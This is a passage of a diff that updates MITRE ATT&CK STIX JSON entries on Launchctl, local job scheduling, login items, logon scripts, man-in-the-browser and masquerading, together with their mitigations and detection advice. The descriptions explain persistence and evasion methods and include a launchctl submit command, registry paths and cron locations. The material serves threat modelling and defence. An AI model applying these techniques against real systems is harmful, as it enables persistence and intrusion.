-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Launchctl Mitigation",
             "description": "Prevent users from installing their own launch agents or launch daemons and instead require them to be pushed out by group policy.",
             "external_references": [
@@ -7086,9 +7380,9 @@
             "id": "attack-pattern--53bfc8bf-8f76-4cd7-8958-49a884ddb3ee",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Launchctl",
-            "description": "Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made  (Citation: Sofacy Komplex Trojan). Running a command from launchctl is as simple as <code>launchctl submit -l <labelName> -- /Path/to/thing/to/execute \"arg\" \"arg\" \"arg\"</code>. Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges. \n\nAdversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process.\n\nDetection: Knock Knock can be used to detect persistent programs such as those installed via launchctl as launch agents or launch daemons. Additionally, every launch agent or launch daemon must have a corresponding plist file on disk somewhere which can be monitored. Monitor process execution from launchctl/launchd for unusual or unknown processes.\n\nPlatforms: MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nDefense Bypassed: Application whitelisting, Process whitelisting, Whitelisting by file name or path\n\nPermissions Required: User, Administrator\n\nRemote Support: No",
+            "description": "Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made  (Citation: Sofacy Komplex Trojan). Running a command from launchctl is as simple as <code>launchctl submit -l <labelName> -- /Path/to/thing/to/execute \"arg\" \"arg\" \"arg\"</code>. Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges. \n\nAdversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process.\n\nDetection: Knock Knock can be used to detect persistent programs such as those installed via launchctl as launch agents or launch daemons. Additionally, every launch agent or launch daemon must have a corresponding plist file on disk somewhere which can be monitored. Monitor process execution from launchctl/launchd for unusual or unknown processes.\n\nPlatforms: macOS\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nDefense Bypassed: Application whitelisting, Process whitelisting, Whitelisting by file name or path\n\nPermissions Required: User, Administrator\n\nRemote Support: No",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -7133,40 +7427,34 @@
                 "Administrator"
             ],
             "x_mitre_platforms": [
-                "MacOS",
-                "OS X"
+                "macOS"
             ],
             "x_mitre_remote_support": false
         },
         {
             "type": "course-of-action",
-            "id": "course-of-action--1c6bc7f3-d517-4971-aed4-8f939090846b",
+            "id": "course-of-action--c47a9b55-8f61-4b82-b833-1db6242c754e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
-            "name": "Local Port Monitor Mitigation",
-            "description": "Identify and block potentially malicious software that may persist in this manner by using whitelisting (Citation: Beechey 2010) tools capable of monitoring DLL loads by processes running under SYSTEM permissions.",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Local Job Scheduling Mitigation",
+            "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized users can create scheduled jobs. Identify and block unnecessary system utilities or potentially malicious software that may be used to schedule jobs using whitelisting tools.",
             "external_references": [
                 {
                     "source_name": "mitre-attack",
-                    "url": "https://attack.mitre.org/wiki/Technique/T1013",
-                    "external_id": "T1013"
-                },
-                {
-                    "source_name": "Beechey 2010",
-                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
-                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
+                    "url": "https://attack.mitre.org/wiki/Technique/T1168",
+                    "external_id": "T1168"
                 }
             ]
         },
         {
             "type": "attack-pattern",
-            "id": "attack-pattern--1f47e2fd-fa77-4f2f-88ee-e85df308f125",
+            "id": "attack-pattern--c0a384a4-9a25-40e1-97b6-458388474bc8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-05-31T21:30:26.057Z",
-            "modified": "2017-12-14T16:55:59.600Z",
-            "name": "Local Port Monitor",
-            "description": "A port monitor can be set through the  (Citation: AddMonitor) API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in <code>C:\\Windows\\System32</code> and will be loaded by the print spooler service, spoolsv.exe, on boot. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors</code>. (Citation: Bloxham) The spoolsv.exe process also runs under SYSTEM level permissions.\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.\n\nDetection: * Monitor process API calls to  (Citation: AddMonitor).\n* Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal.\n* New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious.\n* Monitor registry writes to <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors</code>.\n* Run the Autoruns utility, which checks for this Registry key as a persistence mechanism (Citation: TechNet Autoruns)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, API monitoring, DLL monitoring, Windows Registry, Process monitoring\n\nEffective Permissions: SYSTEM\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Stefan Kanthak",
+            "created": "2017-12-14T16:46:06.044Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Local Job Scheduling",
+            "description": "On Linux and Apple systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd. (Citation: AppleDocs Scheduling Timed Jobs) Unlike Scheduled Task on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH).\n\n===cron===\n\nSystem-wide cron jobs are installed by modifying <code>/etc/crontab</code> file, <code>/etc/cron.d/</code> directory or other locations supported by the Cron daemon, while per-user cron jobs are installed using crontab with specifically formatted crontab files. (Citation: AppleDocs Scheduling Timed Jobs) This works on Mac and Linux systems.\n\nThose methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use job scheduling to execute programs at system startup or on a scheduled basis for Persistence, (Citation: Janicab) (Citation: Methods of Mac Malware Persistence) (Citation: Malware Persistence on OS X) (Citation: Avast Linux Trojan Cron Persistence) to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account.\n\n===at===\n\nThe at program is another means on Linux-based systems, including Mac, to schedule a program or script job for execution at a later date and/or time, which could also be used for the same purposes.\n\n===launchd===\n\nEach launchd job is described by a different configuration property list (plist) file similar to Launch Daemon or Launch Agent, except there is an additional key called <code>StartCalendarInterval</code> with a dictionary of time values. (Citation: AppleDocs Scheduling Timed Jobs) This only works on macOS and OS X.\n\nDetection: Legitimate scheduled jobs may be created during installation of new software or through administration functions. Jobs scheduled with launchd and cron can be monitored from their respective utilities to list out detailed information about the jobs. Monitor process execution resulting from launchd and cron tasks to look for unusual or unknown applications and behavior.\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring, Process Monitoring\n\nPermissions Required: Administrator, User, root\n\nContributors: Anastasios Pingios",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -7174,72 +7462,77 @@
                 },
                 {
                     "kill_chain_name": "mitre-attack",
-                    "phase_name": "privilege-escalation"
+                    "phase_name": "execution"
                 }
             ],
             "external_references": [
                 {
                     "source_name": "mitre-attack",
-                    "url": "https://attack.mitre.org/wiki/Technique/T1013",
-                    "external_id": "T1013"
+                    "url": "https://attack.mitre.org/wiki/Technique/T1168",
+                    "external_id": "T1168"
                 },
                 {
-                    "source_name": "AddMonitor",
-                    "description": "Microsoft. (n.d.). AddMonitor function. Retrieved November 12, 2014.",
-                    "url": "http://msdn.microsoft.com/en-us/library/dd183341"
+                    "source_name": "AppleDocs Scheduling Timed Jobs",
+                    "description": "Apple. (n.d.).  Retrieved July 17, 2017.",
+                    "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/ScheduledJobs.html"
                 },
                 {
-                    "source_name": "Bloxham",
-                    "description": "Bloxham, B. (n.d.). Getting Windows to Play with Itself &#91;PowerPoint slides&#93;. Retrieved November 12, 2014.",
-                    "url": "https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf"
+                    "source_name": "Janicab",
+                    "description": "Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017.",
+                    "url": "http://www.thesafemac.com/new-signed-malware-called-janicab/"
                 },
                 {
-                    "source_name": "TechNet Autoruns",
-                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
-                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
+                    "source_name": "Methods of Mac Malware Persistence",
+                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
+                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
+                },
+                {
+                    "source_name": "Malware Persistence on OS X",
+                    "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.",
+                    "url": "https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf"
+                },
+                {
+                    "source_name": "Die.net Linux crontab Man Page",
+                    "description": "Paul Vixie. (n.d.). crontab(5) - Linux man page. Retrieved December 19, 2017.",
+                    "url": "https://linux.die.net/man/5/crontab"
+                },
+                {
+                    "source_name": "Die.net Linux at Man Page",
+                    "description": "Thomas Koenig. (n.d.). at(1) - Linux man page. Retrieved December 19, 2017.",
+                    "url": "https://linux.die.net/man/1/at"
+                },
+                {
+                    "source_name": "Avast Linux Trojan Cron Persistence",
+                    "description": "Threat Intelligence Team. (2015, January 6). Linux DDoS Trojan hiding itself with an embedded rootkit. Retrieved January 8, 2018.",
+                    "url": "https://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/"
                 }
             ],
             "object_marking_refs": [
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
-            "x_mitre_contributors": [
-                "Stefan Kanthak"
-            ],
             "x_mitre_data_sources": [
                 "File monitoring",
-                "API monitoring",
-                "DLL monitoring",
-                "Windows Registry",
-                "Process monitoring"
+                "Process Monitoring"
             ],
-            "x_mitre_effective_permissions": [
-                "SYSTEM"
+            "x_mitre_contributors": [
+                "Anastasios Pingios"
+            ],
+            "x_mitre_platforms": [
+                "Linux",
+                "macOS"
             ],
             "x_mitre_permissions_required": [
                 "Administrator",
-                "SYSTEM"
-            ],
-            "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "User",
+                "root"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--06824aa2-94a5-474c-97f6-57c2e983d885",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Login Item Mitigation",
             "description": "Restrict users from being able to create their own login items. Additionally, holding the shift key during login prevents apps from opening automatically (Citation: Re-Open windows on Mac).",
             "external_references": [
@@ -7260,9 +7553,9 @@
             "id": "attack-pattern--36675cd3-fe00-454c-8516-aebecacbe9d9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Login Item",
-            "description": "MacOS provides the option to list specific applications to run when a user logs in. These applications run under the logged in user's context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them (Citation: Adding Login Items). Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). These login items are stored in the user's <code>~/Library/Preferences/</code> directory in a plist file called <code>com.apple.loginitems.plist</code> (Citation: Methods of Mac Malware Persistence). Some of these applications can open visible dialogs to the user, but they don\u2019t all have to since there is an option to \u2018Hide\u2019 the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware).\n\nDetection: All the login items are viewable by going to the Apple menu -> System Preferences -> Users & Groups -> Login items. This area should be monitored and whitelisted for known good applications. Monitor process execution resulting from login actions for unusual or unknown applications.\n\nPlatforms: MacOS, OS X\n\nPermissions Required: User",
+            "description": "MacOS provides the option to list specific applications to run when a user logs in. These applications run under the logged in user's context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them (Citation: Adding Login Items). Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). These login items are stored in the user's <code>~/Library/Preferences/</code> directory in a plist file called <code>com.apple.loginitems.plist</code> (Citation: Methods of Mac Malware Persistence). Some of these applications can open visible dialogs to the user, but they don\u2019t all have to since there is an option to \u2018Hide\u2019 the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware).\n\nDetection: All the login items are viewable by going to the Apple menu -> System Preferences -> Users & Groups -> Login items. This area should be monitored and whitelisted for known good applications. Monitor process execution resulting from login actions for unusual or unknown applications.\n\nPlatforms: macOS\n\nPermissions Required: User",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -7299,20 +7592,19 @@
             "object_marking_refs": [
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
+            "x_mitre_platforms": [
+                "macOS"
+            ],
             "x_mitre_permissions_required": [
                 "User"
-            ],
-            "x_mitre_platforms": [
-                "MacOS",
-                "OS X"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--9ab7de33-99b2-4d8d-8cf3-182fa0015cc2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Logon Scripts Mitigation",
             "description": "Restrict write access to logon scripts to specific administrators. Prevent access to administrator accounts by mitigating Credential Access techniques and limiting account access and permissions of Valid Accounts.\n\nIdentify and block potentially malicious software that may be executed through logon script modification by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.",
             "external_references": [
@@ -7343,9 +7635,9 @@
             "id": "attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:38.910Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Logon Scripts",
-            "description": "===Windows===\n\nWindows allows logon scripts to be run whenever a specific user or group of users log into a system. (Citation: TechNet Logon Scripts) The scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server.\n\nIf adversaries can access these scripts, they may insert additional code into the logon script to execute their tools when a user logs in. This code can allow them to maintain persistence on a single system, if it is a local script, or to move laterally within a network, if the script is stored on a central server and pushed to many systems. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.\n\n===Mac===\n\nMac allows login and logoff hooks to be run as root whenever a specific user logs into or out of a system. A login hook tells Mac OS X to execute a certain script when a user logs in, but unlike startup items, a login hook executes as root (Citation: creating login hook). There can only be one login hook at a time though. If adversaries can access these scripts, they can insert additional code to the script to execute their tools when a user logs in.\n\nDetection: Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring\n\nSystem Requirements: Write access to system or domain logon scripts",
+            "description": "===Windows===\n\nWindows allows logon scripts to be run whenever a specific user or group of users log into a system. (Citation: TechNet Logon Scripts) The scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server.\n\nIf adversaries can access these scripts, they may insert additional code into the logon script to execute their tools when a user logs in. This code can allow them to maintain persistence on a single system, if it is a local script, or to move laterally within a network, if the script is stored on a central server and pushed to many systems. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.\n\n===Mac===\n\nMac allows login and logoff hooks to be run as root whenever a specific user logs into or out of a system. A login hook tells Mac OS X to execute a certain script when a user logs in, but unlike startup items, a login hook executes as root (Citation: creating login hook). There can only be one login hook at a time though. If adversaries can access these scripts, they can insert additional code to the script to execute their tools when a user logs in.\n\nDetection: Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties.\n\nPlatforms: macOS, Windows\n\nData Sources: File monitoring, Process monitoring\n\nSystem Requirements: Write access to system or domain logon scripts",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -7381,31 +7673,91 @@
                 "Process monitoring"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ],
             "x_mitre_system_requirements": [
                 "Write access to system or domain logon scripts"
             ]
         },
+        {
+            "type": "course-of-action",
+            "id": "course-of-action--94f6b4f5-b528-4f50-91d5-f66457c2f8f7",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Man in the Browser Mitigation",
+            "description": "Since browser pivoting requires a high integrity process to launch from, restricting user permissions and addressing Privilege Escalation and Bypass User Account Control opportunities can limit the exposure to this technique. \n\nClose all browser sessions regularly and when they are no longer needed.",
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1185",
+                    "external_id": "T1185"
+                }
+            ]
+        },
+        {
+            "type": "attack-pattern",
+            "id": "attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Man in the Browser",
+            "description": "Adversaries can take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify behavior, and intercept information as part of various man in the browser techniques. (Citation: Wikipedia Man in the Browser)\n\nA specific example is when an adversary injects software into a browser that allows an them to inherit cookies, HTTP sessions, and SSL client certificates of a user and use the browser as a way to pivot into an authenticated intranet. (Citation: Cobalt Strike Browser Pivot)\n\nBrowser pivoting requires the SeDebugPrivilege and a high-integrity process to execute. Browser traffic is pivoted from the adversary's browser through the user's browser by setting up an HTTP proxy which will redirect any HTTP and HTTPS traffic. This does not alter the user's traffic in any way. The proxy connection is severed as soon as the browser is closed. Whichever browser process the proxy is injected into, the adversary assumes the security context of that process. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could browse to any resource on an intranet that is accessible through the browser and which the browser has sufficient permissions, such as Sharepoint or webmail. Browser pivoting also eliminates the security provided by 2-factor authentication (Citation: cobaltstrike manual).\n\nDetection: This is a difficult technique to detect because adversary traffic would be masked by normal user traffic. No new processes are created and no additional software touches disk. Authentication logs can be used to audit logins to specific web applications, but determining malicious logins versus benign logins may be difficult if activity matches typical user behavior. Monitor for process injection against browser applications\n\nPlatforms: Windows\n\nData Sources: Authentication logs, Packet capture, Process Monitoring, API monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Justin Warner, ICEBRG",
+            "kill_chain_phases": [
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "collection"
+                }
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1185",
+                    "external_id": "T1185"
+                },
+                {
+                    "source_name": "Wikipedia Man in the Browser",
+                    "description": "Wikipedia. (2017, October 28). Man-in-the-browser. Retrieved January 10, 2018.",
+                    "url": "https://en.wikipedia.org/wiki/Man-in-the-browser"
+                },
+                {
+                    "source_name": "Cobalt Strike Browser Pivot",
+                    "description": "Mudge, R. (n.d.). Browser Pivoting. Retrieved January 10, 2018.",
+                    "url": "https://www.cobaltstrike.com/help-browser-pivoting"
+                },
+                {
+                    "source_name": "cobaltstrike manual",
+                    "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.",
+                    "url": "https://cobaltstrike.com/downloads/csmanual38.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_contributors": [
+                "Justin Warner, ICEBRG"
+            ],
+            "x_mitre_data_sources": [
+                "Authentication logs",
+                "Packet capture",
+                "Process Monitoring",
+                "API monitoring"
+            ],
+            "x_mitre_permissions_required": [
+                "Administrator",
+                "SYSTEM"
+            ],
+            "x_mitre_platforms": [
+                "Windows"
+            ]
+        },
         {
             "type": "course-of-action",
             "id": "course-of-action--45e7f570-6a0b-4095-bf02-4bca05da6bae",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Masquerading Mitigation",
             "description": "When creating security rules, avoid exclusions based on file name or file path. Require signed binaries. Use file system access controls to protect folders such as C:\\Windows\\System32. Use tools that restrict program execution via whitelisting by attributes other than file name.\n\nIdentify potentially malicious software that may look like a legitimate program based on name and location, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -7446,9 +7798,9 @@
             "id": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:38.511Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Masquerading",
-            "description": "Masquerading occurs when an executable, legitimate or malicious, is placed in a commonly trusted location (such as C:\\Windows\\System32) or named with a common name (such as \"explorer.exe\" or \"svchost.exe\") to bypass tools that trust executables by relying on file name or path. An adversary may even use a renamed copy of a legitimate utility, such as rundll32.exe. (Citation: Endgame Masquerade Ball) Masquerading also may be done to deceive defenders and system administrators into thinking a file is benign by associating the name with something that is thought to be legitimate.\n\nDetection: Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.\n\nIf file names are mismatched between the binary name on disk and the binary's resource section, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries could provide useful leads, but may not always be indicative of malicious activity. (Citation: Endgame Masquerade Ball)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Binary file metadata\n\nDefense Bypassed: Whitelisting by file name or path\n\nContributors: ENDGAME",
+            "description": "Masquerading occurs when the name or location of an executable, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation.  Several different variations of this technique have been observed.\n\nOne variant is for an executable to be placed in a commonly trusted directory or given the name of a legitimate, trusted program.  Alternatively, the filename given may be a close approximation of legitimate programs.  This is done to bypass tools that trust executables by relying on file name or path, as well as to deceive defenders and system administrators into thinking a file is benign by associating the name with something that is thought to be legitimate.\n\n\n===Windows===\nIn another variation of this technique, an adversary may use a renamed copy of a legitimate utility, such as rundll32.exe. (Citation: Endgame Masquerade Ball) An alternative case occurs when a legitimate utility is moved to a different directory and also renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke)\n\nAn example of abuse of trusted locations in Windows would be the <code>C:\\Windows\\System32</code> directory.  Examples of trusted binary names that can be given to malicious binares include \"explorer.exe\" and \"svchost.exe\".\n\n===Linux===\nAnother variation of this technique includes malicious binaries changing the name of their running process to that of a trusted or benign process, after they have been launched as opposed to before.  (Citation: Remaiten)\n\nAn example of abuse of trusted locations in Linux  would be the <code>/bin</code> directory.  Examples of trusted binary names that can be given to malicious binares include \"rsyncd\" and \"dbus-inotifier\".   (Citation: Fysbis Palo Alto Analysis)  (Citation: Fysbis Dr Web Analysis)\n\nDetection: Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.\n\nIf file names are mismatched between the binary name on disk and the binary's resource section, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries could provide useful leads, but may not always be indicative of malicious activity. (Citation: Endgame Masquerade Ball)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process monitoring, Binary file metadata\n\nDefense Bypassed: Whitelisting by file name or path\n\nContributors: ENDGAME, Bartosz Jerzman",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -7465,46 +7817,55 @@
                     "source_name": "Endgame Masquerade Ball",
                     "description": "Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.",
                     "url": "https://www.endgame.com/blog/how-hunt-masquerade-ball"
+                },
+                {
+                    "source_name": "F-Secure CozyDuke",
+                    "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.",
+                    "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke"
+                },
+                {
+                    "source_name": "Remaiten",
+                    "description": "Michal Malik AND Marc-Etienne M.L\u00e9veill\u00e9. (2016, March 30). Meet Remaiten \u2013 a Linux bot on steroids targeting routers and potentially other IoT devices. Retrieved September 7, 2017.",
+                    "url": "https://www.welivesecurity.com/2016/03/30/meet-remaiten-a-linux-bot-on-steroids-targeting-routers-and-potentially-other-iot-devices/"
+                },
+                {
+                    "source_name": "Fysbis Palo Alto Analysis",
+                    "description": "Bryan Lee and Rob Downs. (2016, February 12). A Look Into Fysbis: Sofacy\u2019s Linux Backdoor. Retrieved September 10, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/"
+                },
+                {
+                    "source_name": "Fysbis Dr Web Analysis",
+                    "description": "Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved December 7, 2017.",
+                    "url": "https://vms.drweb.com/virus/?i=4276269"
                 }
             ],
             "object_marking_refs": [
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_contributors": [
-                "ENDGAME"
+                "ENDGAME",
+                "Bartosz Jerzman"
             ],
             "x_mitre_data_sources": [
                 "File monitoring",
                 "Process monitoring",
                 "Binary file metadata"
             ],
-            "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
-            ],
             "x_mitre_defense_bypassed": [
                 "Whitelisting by file name or path"
+            ],
+            "x_mitre_platforms": [
+                "Linux",
+                "macOS",
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
